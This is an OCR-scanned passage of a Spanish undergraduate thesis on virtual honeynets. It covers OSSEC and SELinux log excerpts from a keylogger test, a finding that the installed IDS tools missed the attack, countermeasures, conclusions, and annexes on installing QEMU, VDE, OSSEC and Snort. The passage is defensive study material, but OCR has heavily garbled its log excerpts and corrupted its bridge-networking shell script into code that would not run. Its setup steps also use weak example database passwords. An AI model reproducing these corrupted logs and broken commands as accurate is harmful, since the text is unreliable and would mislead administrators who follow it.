2007 Oct 28 20:58:15 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages

Unknown problem somewhere in the system.

Ot 28 2005813 bealhost kemel: auditil 193615893 .752:47): ave: denied { getattr } forpid=8053 comm="htpd" name="index.php" dev=dm0 ino=E4 80&1
scontext=motsystam_rhttpd_t:=0 fcontext=motobjct_russr_home_t:=l tohss=fie

2007 Oct 28 20:58:15 Ruls |d: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown problem somewhere in the system.

Dct 28 20:58:13 bealhost kemel: audit(l 193815883 736 48): avc: denied { seach } for pid=6053 comm="htipd" name="ossec-wui' dev=dm ino=647157
scontext=motsystem_rhttpd_t:=0 fcontext=motobject_russr_home_t:sl tohss=dir

2007 Oct 28 20:58:15 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages

Unknown problem somewhere in the system.

Ot 28 2005813 bealhost kemel: auditil 193615893 .700:45): ave: denied | getattr } for pid=8053 comm="htlpd" name="osssc-wul’ dev=dm0 ino=647157
scontext=motsystam_rhttpd_t:=0 fcontext=motobject_russr_home_t:sl tohss=dir

2007 Oct 28 20:39:02 Ruls |d: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown problem somewhere in the system.

DOct 28 20:39:01 bealhost kemel: audit(l 193814741 .016:44): ave: denied { ead } for pid=A058 comm="httpd" name="tmp" dev=dm0 ino=548221
scontext=motsystem_rhttpd_t:=0 fcontext=motobject_russr_home_t:sl tohss=dir

2007 Oct 28 20:39:02 Rule [d: 1002 level: 7
Location: localhost-=/varlog/messages

Unknown problem somewhere in the system.

Dt 28 20:39:00 kcalhost kemel: auditil 193614740.784:43): ave: denied { getatir } forpid=8165 comm="sh" name="os=ec-wui’ dev=dm-0 ino=847157
scontext=moteystem_rhitpd_sys_script_t=0 tcontext=motobject_russr_home_ts0 tchss=di

2007 Oct 28 20:39:02 Rule |d: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown problem somewhere in the system.

Oct 28 20:39:00 bcalhost kemel: audit(l 193814740.784:42): avc: denied | ssarcch } for pid=6165 comm="sh" name="o=s=sc-wui' dev=dm-0 ino=E47157
scontext=mot:system_rhitpd_sys_script_t:s0 tcontext=mot:object_ruser_home_t:=0 tohss=dir

2007 Oct 28 20:39:02 Rule [d: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown problem somewhere in the system.

Dt 28 20:39:00 kcalhost kemel: auditil 193614740.272:41 ) ave: denied | mad } for pid=6058 comm="htpd" nams="index.php" dev=dm0 ino=6480&1
scontext=motsystam_rhttpd_t:=0 fcontext=motobjct_russr_home_t:=l tohss=fie

2007 Oct 28 20:39:02 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages
Unknown problem somewhere in the system.
Figura 30. Informe de estado de eventos de seguridad de Ossec (Parte 11 -
continuacion -)

LOG GENEREAL DEL SISTEMA:

var/log/messages: Correspondiente a la fecha y hora del ataque, no se encuentra nada de
interés con respecto al ataque.

Oct 28 21:57:52 1localhost kernel: atkbd.c:
Unknown key released (translated set 2, code
0xe0 on 1isa0060/serio0).

Oct 28 21:57:52 1localhost kernel: atkbd.c:
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Use 'setkeycodes e060 <keycode>' to make it
known.

Oct 28 21:57:53 1localhost kernel: atkbd.c:
Unknown key released (translated set 2, code
Oxe0 on 1sa0060/serio0).

Oct 28 21:57:53 1localhost kernel: atkbd.c:
Use 'setkeycodes e060 <keycode>' to make it

known.

Oct 28 22:12:36 localhost kernel:
audit (1193620356.831:53) : avc: granted
{ execmem } for pid=1843 comm="nautilus"
scontext=root:system r:unconfined t:s0-
s0:c0.c255

tcontext=root:system r:unconfined t:s0-
s0:c0.c255 tclass=process

Oct 28 22:20:00 localhost kernel:
audit (1193620800.758:54) : ave: granted
{ execmem } for pid=1843 comm="nautilus"
scontext=root:system r:unconfined t:s0-
s0:c0.c255

tcontext=root:system r:unconfined t:s0-
s0:c0.c255 tclass=process

4.4.5 Analisis de los resultados

De los datos obtenidos por las herramientas dispuestas en la Honeynet, podemos
concluir que el NIDS no aporta datos sobre el ataque, esto se debe a que el patron de tramas
que circula por la red virtual son considerados como validos por el IDS y realmente lo son, ya
que corresponden simplemente al envio de email de un usuario valido.

Con respecto al HIDS nos encontramos con que las herramientas de deteccion
instaladas y la disposicion de las topologias no fueron suficientes para detectar el demonio
que esta a la escucha del puerto del teclado, por lo tanto no pudo ser identificado el ataque.

Finalmente, podemos concluir que para este conjunto de herramientas y estas
topologias seleccionadas los resultados son equivalentes y no son suficientes para detectar el
ataque.

4.4.6 Contramedidas

En algunas P.C. se puede vislumbrar si estan infectadas por un keylogger
(dependiendo de la frecuencia de nuestro procesador) por el hecho que el programa registra
cada una de nuestras teclas de la siguiente manera: FicheroLog = FicheroLog + UltimaTecla,
este evento sera ejecutado por el keylogger cada vez que se presiona una tecla. Si bien este
evento no sera una carga relevante para nuestro procesador si se ejecuta a una velocidad
normal, pero si por ejemplo se mantienen 10 teclas presionadas a la vez por unos 30 segundos
y el sistema se congela o su funcionamiento es demasiado lento, podriamos sospechar que un
keylogger se ejecuta sobre nuestro sistema [Wikih].

1) Monitor de procesos: Accediendo al monitor de procesos, podremos visualizar todo
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2)

3)

4)

5)

6)

lo que esta siendo ejecutado por la computadora en ese momento (Ejemplo usando el
comando TOP en linux), sin embargo es aconsejable contar con un software anti-
rootkit para detectar los procesos ocultos.

Anti-spyware: Los usos de Anti-spyware pueden detectar muchos keyloggers y
limpiarlos.

Firewall: Tener habilitado un firewall, no para keyloggers por si mismo, sino para
prevenir la transmision del material que es registrado a través de la red.

Los monitores de red: Se pueden utilizar para alertar al usuario siempre que el
keylogger use una conexion de red. Esto da al usuario la posibilidad de evitar que el
keylogger envie la informacion que logra registrar durante el ataque.

Software de Anti-keylogging: Este tipo de software graba una lista de todos los
keyloggers conocidos. Los wusuarios legitimos de la computadora pueden |,
periddicamente, efectuar una exploracion de esta lista, y el software busca los
articulos de Ia lista en el disco rigido Una desventaja de este procedimiento es que
protege solamente contra los keyloggers que estan listados, siendo vulnerable a los
keyloggers desconocidos o relativamente nuevos.

Otros métodos: La mayoria de los keyloggers pueden ser engafiados, por ejemplo: se
puede mover el cursor usando el mouse y luego usar el teclado, logrando que lo que
hemos tipeado sea registrado en orden incorrecto. También se pueden copiar y pegar
caracteres disponibles en la pantalla hasta formar la contrasefa.
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CAPITULO 5

5. CONCLUSIONES Y TRABAJO FUTURO

5.1 Conclusiones

Durante el desarrollo del presente trabajo, se han logrado utilizar los conocimientos
adquiridos en muchas de las asignaturas de la carrera de Licenciatura en Ciencias de la
Computacidon, para poner en practica nuevos conceptos que nos permitieron disefiar e
implementar una solucion para un problema propuesto.

El resultado de este trabajo, es el disefio e implementacion de Honeynets virtuales. Para
lograrlo, se ha aplicado un conjunto de herramientas de seguridad a dos diferentes topologias.
Para demostrar el funcionamiento de cada instancia de Honeynet, se ha preparado un conjunto
de ataques que fueron finalmente ejecutados en cada topologia seleccionada.

El resultado de la experimentacion nos permitio:

v

v

Visualizar la explotacion de las vulnerabilidades expuestas.
Descubrir patrones de ataques (Ej.: fuerza bruta sobre SSH).
Encontrar informacion sobre el atacante (Ej.: [P, FQDN).

Contar con herramientas que muestren los eventos de seguridad ocurridos de una
manera comprensible y ordenada para implementar distintos tipos de solucion
para cada problema encontrado.

Conocer cuales son las vulnerabilidades del sistema y establecer a futuro politicas
de seguridad que minimicen los riesgos para que alguno de estos ataques sea
llevado a cabo.

Descubrir que las herramientas dispuestas no fueron suficientes para la deteccion
de la ejecucion del ataque en ninguna de las topologias propuestas. (Ej.: Durante
el ataque utilizando linux key-logger).

Confirmar que el uso de distintas topologias de red tiene gran incidencia en
cuanto a la seguridad. (Ej.: Para la topologia II el ataque de envenenamiento de
caché ARP no es implementable por cuestiones de funcionamiento de la propia
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topologia.)

5.2  Trabajo futuro

El resultado de la presente experiencia, puede ser tomado como punto de partida para
realizar otros casos de estudio utilizando Honeynets. Algunos de estos casos de estudio
podrian ser:

m  Exponer una arquitectura Honeynet a Internet, con el objetivo de visualizar, estudiar,
clasificar y documentar los ataques encontrados, ya sean éstos ataques conocidos o
no.

m Implementar una arquitectura Honeynet dentro de alguna organizacién pequeiia o
mediana replicando el funcionamiento de la infraestructura existente, con todos los
servicios necesarios: Ej.: Servidor de correo electronico, controladores de dominio,
servidores web, dns, DHCP, etc.

m Realizar un conjunto de ataques que explote las vulnerabilidades existentes, para
finalmente proponer y documentar un conjunto de politicas de seguridad que ayude a
mejorar la seguridad en dicha red.

m I[mplementar una arquitectura Honeynet distribuida y enviar toda la informacion
recolectada, utilizando una red privada virtual (VPN), al servidor de base de datos
central que almacena toda la informacion de lo ocurrido en cada uno de los honeypots
remotos. Para luego analizar de esta manera las distintas tendencias de los atacantes
en cada sitio remoto.

A modo de conclusion general, el disefio e implementacion de Honeynets no es un
problema trivial y existen multiples maneras de realizarlo. Diversas elecciones definen el tipo
de Honeynet a implementar (primera generacion, segunda generacion, Honeynets virtuales,
Honeynets distribuidas, etc.), la definicion de los grados de libertad y restricciones que se
puedan aplicar para cada despliegue (i.e. conjunto de herramientas y politicas de seguridad
que deban ser respetadas), y por supuesto, el conjunto de servicios que seran expuestos.
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ANEXO A

Anexo A. Instalacion de software especifico

A.1 Instalacion del software de virtualizacion

Para poder efectuar una correcta instalacion se utiliza el gestor de paquetes
“yellowdog updater modified” [YUMO3] que trae incorporada la distribucion Linux Fedora
Core 6 [Fedo06].

Se instala el software de virtualizacion seleccionado junto con el acelerador k-gemu.
Para ello, se abre una consola bash y se dio inicio a una sesiéon como administrador (root).

Pasos de instalacion:

1- yum install gemu*

2- Una vez que encuentra el programa, nos consulta si se quiere instalar, pulsamos la tecla “s”
y comienza la instalacion de la aplicacion con todas sus dependencias. Una vez finalizada la
instalacion se contintia con el acelerador de gemu.

3- yum install dkms*.

4- finalmente encuentra dkms 2.0.13.-1.FC6.

5- Nos consulta nuevamente si se quiere instalar la aplicacion y pulsamos la tecla “s”.

6- Luego de instalar kgemu, son necesarias algunas otras herramientas para poder llevar
adelante las configuraciones del sistema de virtualizacion, es por eso que se debe instalar bretl
(linux bridge utils), para este paso se usa el DVD de instalacion para instalar el paquete
llamado: bridge.utils-1.1.-2.1386.

A continuacion se efectiia una serie de configuraciones, estas son:

a) crear un archivo de texto, que tendra las configuraciones del bridge, para hacer esto se
realizan los siguientes pasos:

v Abrir una consola.

v cd/etc.
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v touch gemu-ifup .

Se debe crear el siguiente script dentro del archivo:

#!/bin/sh
#Sample /etc/gemu-ifup to have bridged networking between gemu
instances and your real net
# You need "youruser ALL=(root) NOPASSWD: /etc/gemu-ifup" in /
etc/sudoers
# You also need enough rights on /dev/tun
if [ SUID -ne 0 ] then
sudo $0 $1
exit
fi
/sbin/ifconfig $1 promisc 0.0.0.0
if ! /sbin/ifconfig br0 then
/usr/sbin/brctl addbr br0
/usr/sbin/brctl addif br0 ethO
/sbin/ifconfig br0 up
addr="/sbin/ip addr | grep ethO | grep inet |sed
-e 's/eth0/dev br0/' -e s/inet//
/sbin/ip addr add $addr
fi
/usr/sbin/brctl addif br0 $1
/usr/sbin/brctl stp br0 on
/sbin/ip route | grep ethO | while read route
do
newroute="echo Sroute | sed s/eth0/br0/
/sbin/ip route del S$route
/sbin/ip route add S$newroute
done

Nota: Este script crea una interfaz brQ) que servirda como BRIDGE entre la
maquina real v las maquinas virtuales, ademas es muy importante tener en

cuenta que la linea resaltada con amarillo esté en “on”, para su correcto

funcionamiento.

Para poner hacer funcionar el acelerador de gemu, se debe cargar un modulo
utilizando la siguiente instruccion:

modprobe kgemu (siempre como root/administrador)

A.2 Creacion de particiones e instalacion de las maquinas virtuales

Luego de instalar el software de virtualizacion (en este caso QEMU), se crea cada una
de las particiones y se efectia la instalacion de las maquinas virtuales.

Creacion de las particiones con Qemu:
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gemu-img - Utilitario de gemu para la creacion de imagenes.
create - Comando para crear la particion.

-f - Hacer referencia al tipo de particion a crear .

qcow - Tipo de particion.

linuxPartc.qcow - nombre de la particidon junto a su extension.

4G - Tamano de la particion a crear (4 gigas en este caso).

Comando a ejecutar para crear la particion:

1- Iniciar sesiéon como administradores (root).

2- qemu-img create -f qcow linuxPartc.qcow 4G

Ejemplo: Al ejecutar el comando anterior, resulta:

[root@localhost Desktop]# qemu-img create -f qcow linuxPartc.qcow 4G

Formating 'linuxPartc.qcow', fmt=qcow, size=4194304 kB

Luego de crear la particion, se puede comenzar con la instalacion del sistema operativo.
3- Cargaremos el modulo kgemu, para aumentar el rendimiento de la maquina virtual
Comando a ejecutar para cargar el modulo:

modprobe kqgemu

4- Se da comienzo a la instalacion del sistema operativo para la maquina virtual.
Caracteristicas del comando QEMU:

-cdrom -Se ingresa la ruta fisica donde se encuentra la unidad de cdrom.

-boot b -Le da instruccidon a la maquina virtual para que arranque con la
unidad de cdrom.

-hda -Se ingresa la ruta donde creamos el archivo (en nuestro
ejemplo:linuxPartc.qcow).

linuxPartc.qcow -nombre de la particion junto a su extension.

-m -Se ingresa la cantidad de memoria ram que se le quiere otorgar a
nuestra maquina virtual.

Comando de gemu para comenzar con la instalacion:

gemu -cdrom /dev/hdc -boot d -hda linuxPartc.gcow -m 256
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A continuacion se muestran los pasos para la instalacion de la maquina virtual, junto
con las imagenes asociadas en cada suceso.

Comienzo de la instalacion:

£3 Apiicaciones Lugares Sistema .
‘m

&28F El _ 8 & 09s29)

QEMU

yst:/home/hugo/Desktop E]@E]

/dvd-hda -boot d -hda /home/hugo/Desktop/LinuxPartc.q[%]
1824 Hz timer. This is not a fatal

pither use a 2.6 host Linux kernel or
er-freq' as root.

- To install or upgrade in graphical mode, press the <ENTER> key.
- To install or upgrade in text mode, type: linux text <ENTER>.

- Use the function keys listed below for more information.

[3) [Creacién de partici... || i [XMMS - 2. [Compilat... || @ [QEMU - Mozila Firef... || B root@localhost:/ho... || & [hugo@localhost fdev] B QEMU = ]
Figura 31: Arranque de la maquina virtual y comienzo de la ejecucion de la

instalacion del S.0. Fedora Core 5.

Aqui se observa como la maquina virtual comienza su ejecucion (véase Figura 31) y
utiliza el cdrom del sistema operativo FCS5 el cual va a ser instalado.
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A continuacidn inicia la carga de todos los modulos para la instalacion.

QEMU
CPF bind hash table entries: 16384 (order: 6, 327688 bytes)
CP: Hash tables configured (established 16384 bind 16384)
CP reno registered
CP bic registered
Initializing IPsec netlink socket
ET: Registered protocol family 1
ET: Registered protocol family 17
sing IPI Shortcut mode
ACPI wakeup devices:

ACPI: (supports 55)
Freeing unused kermel memory: 172k freed

rite protecting the kernel read-only data: 342k
Greetings.
installer init version 11.8.5 starting
sproc filesystem... done
sdev filesystem... done
sdevspts (unix98 pty) filesystem... done
ssys filesystem... done
ould not set new controlling tty
rying to remount root filesystem read write... done
ounting ~tmp as ramfs... done
runming install...
running /sbin/loader

Figura 32: Carga de modulos para la instalacion.

Una vez finalizada Figura 32, el instalador nos ofrece efectuar un chequeo de los cds
de instalacion antes de continuar Figura 33.

To begin testing the CD media before
installation press OK.

Choose Skip to skip the media test
and start the installation.

{Tab>s<Alt-Tab> between elements | <{Space’> selects | <F1Z2> next screen
Figura 33: Solicitud de testeo del software a instalar.

Comienza el asistente de instalacion del sistema operativo, donde se selecciona en
primera instancia el idioma y el tipo de teclado Figura 34.
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fodorag Pl ).

Seleccione el teclado apropiado para el sistema.

IO TgaT o (10Ul LeCias)

[+]

Inglés U.S.
Islandeés
Italiano
Italiano (IBM)
Italiano (it2)

Japonés

] tinoamericano
Macedonio
Noruego
Folaco
Portugués
Punjabi (Inscript)
Reino Unido

- -

l Ductas de dltima hora l l 4@ Atras l l & Siguiente

Figura 34: Asistente de instalacion (parte 1).

En esta parte se crean las particiones reales sobre las que se instalara el sistema
operativo como si se estuviese trabajando en una instalacion normal Figura 35, optando por la
opcion por defecto.

Aqui se habilita la opcion de cliente DHCP, para que le sea otorgada una IP al
momento del inicio del sistema operativo Figura 36.

El asistente solicitard una contrasefia de super usuario (root), ésta debera ser
ingresada y luego confirmarda Figura 37.
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fedorglf e —— -)_

La instalacion requiere |a particion de su disco duro.
Por defecto, una capa de particion razonable es
escogida, ésta es suficiente en la mayoria de los

casos. Usted puej—‘—‘
predeterminada o
Remove linux pa @ Ha seleccionado borrar todas las particiones Linux (y TODOS

LOS DATOS en ellas) en las siguientes unidades:

Seleccione |z /devihda

LEsta seguro que quiere hacerlo?

[ e |

[] Revise y modifique |a capa de particiones

[ Dﬂotas de dltima hora l [ 4 Atras l [ & Siguiente

Figura 35: Asistente de instalacion (parte 11)

fedorg(f edy ) _"

Dispositives de red

Activar al iniclo  Dispositive IP/Mascara de red Modificar

Nombre del Host
Configurar el nombre del host:

@ de forma automatica a través de DHCP
) manualmente | | (e]. "host.domain.com")

Configuracion miscelanea

[ Duata; de Gltima hora l [ <@ Atras l | = Siguiente |

Figura 36: Asistente de instalacion (parte I11)
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@ w
-~
: 1O ) v
La cuenta root se utiliza para la administracién del
@ sistema. Introduzca una contrasenia para el usuario
root.
Contrasena de root: LR R ]
Confirmar: LR ERE] ]
Obteniendo la informacion de la instalacion...
l [ Notas de ditima hora l <A Atras l | & SigL

Figura 37: Asistente de instalacion (parte IV).

En esta instancia se seleccionan los paquetes de programas a ser instalados en el
sistema operativo Figura 38, en la parte superior se visualizan tres tipos de instalaciones muy
generales: herramientas de ofimatica (procesador de textos, planillas de calculo, etc.),
herramientas para el desarrollo de software (compiladores, entornos de desarrollo, lenguajes
de programacion, entre otros.) y finalmente herramientas para darle la funcionalidad a nuestro
sistema operativo de servidor web (apache tompcat, etc). Cada una de éstas puede ser
personalizadas en este momento o luego de haber instalado el sistema operativo. En este
caso, no se selecciona nada y se deja la instalacion lo mds liviana posible, posteriormente se
instalaran los paquetes de programas necesarios para utilizar ésta maquina virtual como
honeypot.

Deteccidn y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez




Instalacion de software especifico

94

Tedora el .

La instalacion por defecto de Fedora Core incluye un juego
de aplicaciones de software para el uso general de Internet.
LQué tareas adicionales le gustaria incluir en su sistema?

[] Ofimatica
[] Desarrollo de software

[] Servidor de web .

Comprobando las dependencias en los
paguetes seleccionados para la instalacion...

La personalizacion de |a seleccion de software puede
completarse ahora o después de |a instalacién a través
de la aplicacion de administracion de software.

(@) Personalizar luego () Personalizar ahora t.;

l [} Notas de ditima hora l 4 Atras l ‘ & Siguiente

Figura 38: Asistente de instalacion (parte V).

Finalmente, comienza la instalacion del sistema operativo con todos los paquetes y

configuraciones establecidas.

Al finalizar la misma, se instancia la maquina virtual instalada desde la consola de

comandos para verificar que todo funciona correctamente Figura 39.
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QEMU

GHURGRIES Oe =T o B S EEG SRS R S 2 e R M e mEmu )

Fedora Core (Z2.6.15-1.2054 FC5)

UsesthesiSand S EeyEstorsel ectimhitchrentrusiss g ilhighited
Eresstenterstop buut therselected s e s turedit St he
commands beEorE bomhingsy o topnod it thEr Keene 1N argimenis
betorerbookingy o e S Eor s ar command S Tines

Figura 39: Inicio de la ejecucion de la maquina virtual.

Comando a ejecutar en consola es:

gemu - hda /linuxPartc.gcow -m 256
A.3 Instalacion y configuracion de vde switch
En este segmento se muestra la manera en que se ha instalado y configurado
VDE SWITCH (Virtual Distributed Ethernet SWITCH), para lograr la interconexion de las
distintas topologias de red que se utilizaran entre la maquina real y las maquinas virtuales.
Pasos de instalacion:
1- Descarga del programa vde-2.2.1.6.tar.gz

2- Se ejecuta el comando: tar -zxvf vde-2.2.1.6.tar.gz

3- Una vez que se descomprime el archivo, los siguientes pasos para la instalacion son:
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3.1 -./configure
3.2 - make
3.3 - make install
4 — Luego, se inicia el switch virtual ejecutando los siguientes pasos:
4.1 — Se abre una consola bash.
4.2 - vde_switch -d -s /tmp/switch1 -M /tmp/mgmt1
donde los parametros significan:
- d : daemon, es decir que funcione como un demonio en segundo plano.

- s : sock, especifica el directorio donde sera creado el socket, por defectoel ~ valor
es /tmp/vde.ctl.

- M: Management, podemos utilizar una consola de administraciéon de vde para
visualizar todas las conexiones que se han generado al switch virtual.

Ej.: Se ejecuta el comando unixterm y se pasa como parametro la ruta donde se encuentra el
archivo mgmmtl.

unixterm /tmp/mgmtl

VDE switch V.2.1.6

(C) R.Davoli 2005 - GPLv2

vde: port/print

0000 DATA END WITH '.'

Port 0001 untagged v1an=0000 ACTIVE - Unnamed Allocatable
-- endpoint ID 0006 module tuntap : tap0

Port 0002 untagged v1an=0000 ACTIVE - Unnamed Allocatable
-—- endpoint ID 0007 module unix prog : vdegemu user=render

PID=14422 SOCK=/tmp/vde.14422-00000

1000 Success

Luego de terminada la instalacion, bastaria con utilizar el comando vdeqemu seguido
por el conjunto de parametros correspondientes utilizados previamente en la ejecucion normal
de gemu para que la maquina virtual pueda conectarse en red a través de este dispositivo.

Ejemplo:

vdegemu -hda miMagVirtual.gcow -m 200 -net nic,
macaddr=52:53:00:00:AA:02 -net vde,sock = /tmp/switchl

Obs: La parte resaltada indica la conexion al switch.

A.4 Instalacion y configuracion de Ossec HIDS

A lo largo de esta guia se muestra la manera en que se instala y configura Ossec, para
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que pueda darnos los avisos de los eventos de seguridad de una manera mas ordenada,
completa y comprensible para el administrador de sistemas. Es por ello, que se ha optado por
mostrar cada evento que surja durante la experimentacion en una pagina web alojada en un
servidor web local.

Pasos para la instalacion y configuracion de Ossec:

1- Descarga del archivo ossec: ossec-hids-1.3.tar.gz y ossec-wui-0.2.tar.gz.

2- Se descomprime de la siguiente forma:

tar -zxvf ossec-hids-1.3.tar.gz

3- Se utiliza el siguiente script de instalacion:

Jinstall.sh (Obs: Es necesario tener instalado un compilador de C, por ejemplo el compilador
gcc que viene en la distribucion).

4- Nos pide un lugar donde instalarlo, lo haremos en /var/ossec.
5- Parametros importantes de la instalacion seleccionados en cada paso:
5.1- Tipo de instalacion “local”.
5.2- Servidor de integridad del sistema.
5.3- Sistema de deteccion de rootkit.
5.4- Respuesta activa (nos permite bloquear al enemigo).

5.6- Desechar en el firewall (guarda los host atacantes en el archivo host.deny).

5.7- Se agrega en la lista blanca a: 192.168.2.1 (router), 192.168.2.100 (Magq. Real).
Obs.: Para cualquier tipo de modificacion, bastara con editar el archivo de
configuracion ossec.conf.

Documentacion de ossec: /ust/bin/bin

Ficheros que analiza ossec durante su funcionamiento:
/var/log/messages

/var/log/secure

/var/log/maillog

Para iniciar ossec HIDS, se ejecuta el siguiente comando:
/var/ossec/bin/ossec-control start

6- Instalacion de la interfaz web para ossec
Para su funcionamiento requiere tener instalado: Apache y php 4 6 5.
6.1 — Se descarga el producto ossec.wui-02.tar.gz.

6.2 — Se descomprime el archivo y se envia el contenido al servidor web, en la siguiente
ruta /var/www/htdocs/ossecwui.
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6.3 - Ejecutar el script:
/setup.sh

Importante: Modificar la linea 234 del archivo de configuracién del servidor web. Para eso, ir
a /etc/httpd/cont/httpd.conf .

Cambiar la linea: group apache, por group ossec

Finalmente para corroborar que todo funciona, se abre un navegador y escribimos:
http://localhost/ossec-wui.

A.5 Instalacion y configuraciéon de snort, mysql y php

A lo largo de esta guia se mostrarad la manera en que se ha instalado y configurado
Snort, para que muestre los avisos de los eventos de seguridad de una manera mas ordenada,
completa y comprensible para el administrador de sistemas. Es por ello, que se opta por
guardar cada evento de seguridad ocurrido en una base de datos utilizando MySql y
visualizarlos a través de Snort Report, alojando dicha pagina en un servidor web local.
Obs: Para la instalacion de cada uno de los componentes de software se utiliza YUM.
Pasos generales de la instalacion
(se utiliza # para hacer comentarios en el texto)
# Se descarga de Internet el programa mysql con todas sus dependencias.

1- Instalacion de Mysql: yum install mysql*

# Se descarga de Internet todas las actualizaciones para Apache debido a que ya venia
instalado en la distribucion que hemos seleccionado.

2- Instalacion de componentes faltantes de apache: yum update apache*

# Se descarga de Internet php con soporte para mysql y todas sus dependencias.
3- Instalacion de php para mysql: yum install php-mysql

# Se descarga de Internet el HIDS Snort y todas sus dependencias.

4- Instalacion de SNORT: yum install snort*

Luego de haber realizado todas las instalaciones automaticas utilizando YUM, se
realizan los pasos de configuracion, es importante resaltar que estos pasos de configuracion
solo fueron probados para estos paquetes que fueron descargados de Internet y para esta
version y distribuciéon de Linux. Para realizar la configuraciéon e instalacion en otras

distribuciones u otras versiones, probablemente deban hacerse modificaciones para obtener
un correcto funcionamiento.
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Configuracion:
1- Se inicializa el servicio de apache, ejecutando:

service httpd start (para comprobar su funcionamiento se introduce la siguiente url en un
navegador http://localhost, y deberia aparecer la pagina de apache)

1.1- Para poder visualizar los datos almacenados en la base de datos mysql por Snort, se
utiliza “Snort Report”, que contiene una serie de paginas programadas en lenguaje PHP que
permite leer los datos en tiempo real y de una forma mas comprensible para el administrador
del sistema.

Se almacenan las paginas de Snort Report en el subdirectorio /var/www/html

2- Se inicializa el motor de base de datos mysql server, ejecutando:

service mysgl start

Al ejecutar este servicio arroja el siguiente error: “Neither host localhost local domain or
localhost could be looked up with /usr/bin/resolveip. Please configure hostname”

Solucion: editar /etc/hosts poniendo la ip 127.0.0.1 (localhost)

2.1- Ingresar a mysq]l, ejecutando:

mysqgl -u root -p (la primera vez sin contrasefia, como
usuarios administradores)

Se debe modificar la clave por cuestiones de seguridad entonces ejecutar:
mysgladmin -u root password 'micontrasefia'
2.2- Creacion de bases de datos y configuraciones para SNORT

Una vez que hemos ingresado al mysql server, se utiliza una seric de comandos para la
creacion y configuracion de las bases de datos para nuestro NIDS.

2.2.1- Se crea la base de datos de snort, ejecutando:
#Creacion de la base de datos de snort
mysgl> create database snort;

#La sentencia grant permite a los administradores del sistema crear cuentas de usuario mysql
y conceder derechos en esas cuentas (derechos de insert, delete, update, etc).

mysgl> grant select, insert, delete, update on snort.* to
snort@localhost;

# Se genera una contrasefa para el usuario “snort” con una contrsena.
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mysql> set password for
snort@localhost=password('micontrasefia') ;

# Salir de mysql.
mysqgl> exit;
2.2.2 - Luego ir a: /usr/share/doc/snort-2.6.1.1, e ingresar el siguiente comando:

#Importar el esquema de la base de datos de Snort desde el codigo fuente, mediante el archivo
create_mysql.

mysgl -u root -p < create mysgl snort

2.2.3 - Descargar de www.snort.org todas las reglas para snort que estan bajo la licencia
GPL, las mismas poseen fecha 27/04/2007 y luego guardarlas en la carpeta /etc/snort/rules.

2.2.4 — Se efectuian modificaciones en el archivo de configuracion de Snort:

El archivo se encuentra en /etc/snort/snort.conf, se abre el archivo utilizando el editor de
textos vim.

# Modificacion del archivo de configuracion de Snort.

# Ir hasta la linea 26 y modificar la entrada de var home net indicando nuestra subred.
var home net 192.168.2.0/24

# Ir hasta la linea 114 y modificar la direccién donde se encuentran nuestras reglas snort.
var rule path /etc/snort/rules

# Luego, aproximadamente en la linea 830, quitar el simbolo de comentario sobre la regla y
completar los datos de usuario y contrasefia.

output database:log, mysql, user=root password=hugo
dbname=snort host=localhost

2.2.5- Crear el archivo de logs de snort en:

touch /var/log/snort

3- Poniendo en funcionamiento Snort:

3.1- Para poner en funcionamiento el IDS ejecutamos el siguiente comando:
#snort-mysql esta en /ust/bin

snort-mysql -a -i eth0 -c /etc/snort/snort.conf -1 /var/log/snort

Se encuentra un nuevo error: “Failed to load /ust/lib/dinamicengine./libsf engine.so” (no
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puede encontrar el objeto compartido).

Solucion: En la linea 207 se debe cambiar el /usr/lib/dynamicengine/libsf engine por /usr/lib/
snort/dynamicengine/libsf engine

Al volver a ejecutar el comando aparece nuevamente un error:
/ust/snort/snort.conf (777) unknow dynamic preprocessor “dcerpc” dns config:

dns client rdata txt overflow alert: Active obsolete dns rr types alert: Inactive experimental

dns rr types alert: Inactive ports:53

error: Misconfigured dynamic preprocessor(s)

Segun documentacion del foro oficial de snort IDS. la solucion a este problema es dejar
sin efecto a las lineas de dcerpc (entre la linea 772-775) o instalar los paquetes

libs_dceprc_preproc.so.

Una vez realizada esta correccion, nos da un nuevo error:

Error open cap() fsm compilation failed.

Solucion: Para que tome la placa de red debo poner:

snort -a -ieth0 -c /etc/snort/snort.conf -1 /var/log/snort

Comienza a cargar el programa, pero al intentar conectarse a la base de datos genera un nuevo
error: “no puede vincularse con la base de datos”.

Este problema ocurre debido a que el mysql debe ser compilado para utilizarse con
Snort, es por este motivo que se optd por descargar el siguiente paquete: snort-mysql.i386
(fc6)
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Detalles del paquete y sus dependencias.

Paquete Arch Version Repositorio tamaiio
Snort-mysql 1386 2.6.1.1-4.1c6 Extras 266 K
Dependencias
Mysql 1386 5.0.27-1.fc6 Updates 33 M
Perl-DBI 1386 1.52-1.fc6 Core 605 K

Al instalar esta nueva version, recordar que se debe modificar la ruta de donde se
encuentran las reglas de Snort (como también lo habiamos realizado anteriormente). Para eso
se debe modificar el snort.conf con un editor de textos y cambiar la linea rule path por la
siguiente:
var rule path /etc/snort/rules.

3.2- Luego de haber guardado en /var/www/html los archivos de snort report, se debe
configurar el srconf.php y poner el usuario y clave de mysql.

Para ello, ir hasta /var/www/html/snortRep. Luego con un editor de textos (Ej., vim), se
ejecuta:

vim srconf.php

Y se debe modificar las lineas 29, 30, 31, 32, 35, 44, respectivamente de la siguiente manera:
$server = “localhost™;

$user = “root™;

$pass = “hugo”;

$dbname = “snort”;

$dbtype = “mysql”;

define(“JPGRAPH_PATH”, “/var/www/jpgraph/src/”);

4- Para que snort pueda hacer representaciones graficas de los datos se debe instalar el
paquete php-gd y descargar de internet el paquete jpgraph-1.21b.tar.gz

Para ello ejecutar el siguiente comando:

yum install php-gd y luego descomprimir las paginas elaboradas en php de jpgraph y
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guardarlas en /var/www/jpgraph/src.

Por otro lado, modificar el archivo de configuracion de srconf.php y agregars la ruta
/var/www/jpgraph/src.
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ANEXO B

Anexo B. Software de virtualizacion

B.1 QEMU

Es un veloz emulador de procesadores que utiliza dinamica de traduccién para
alcanzar una muy buena velocidad de emulacion [bell05].

Posee 2 modos de operacion:

— Modo Emulacion total del sistema: En este modo, QEMU emula el sistema
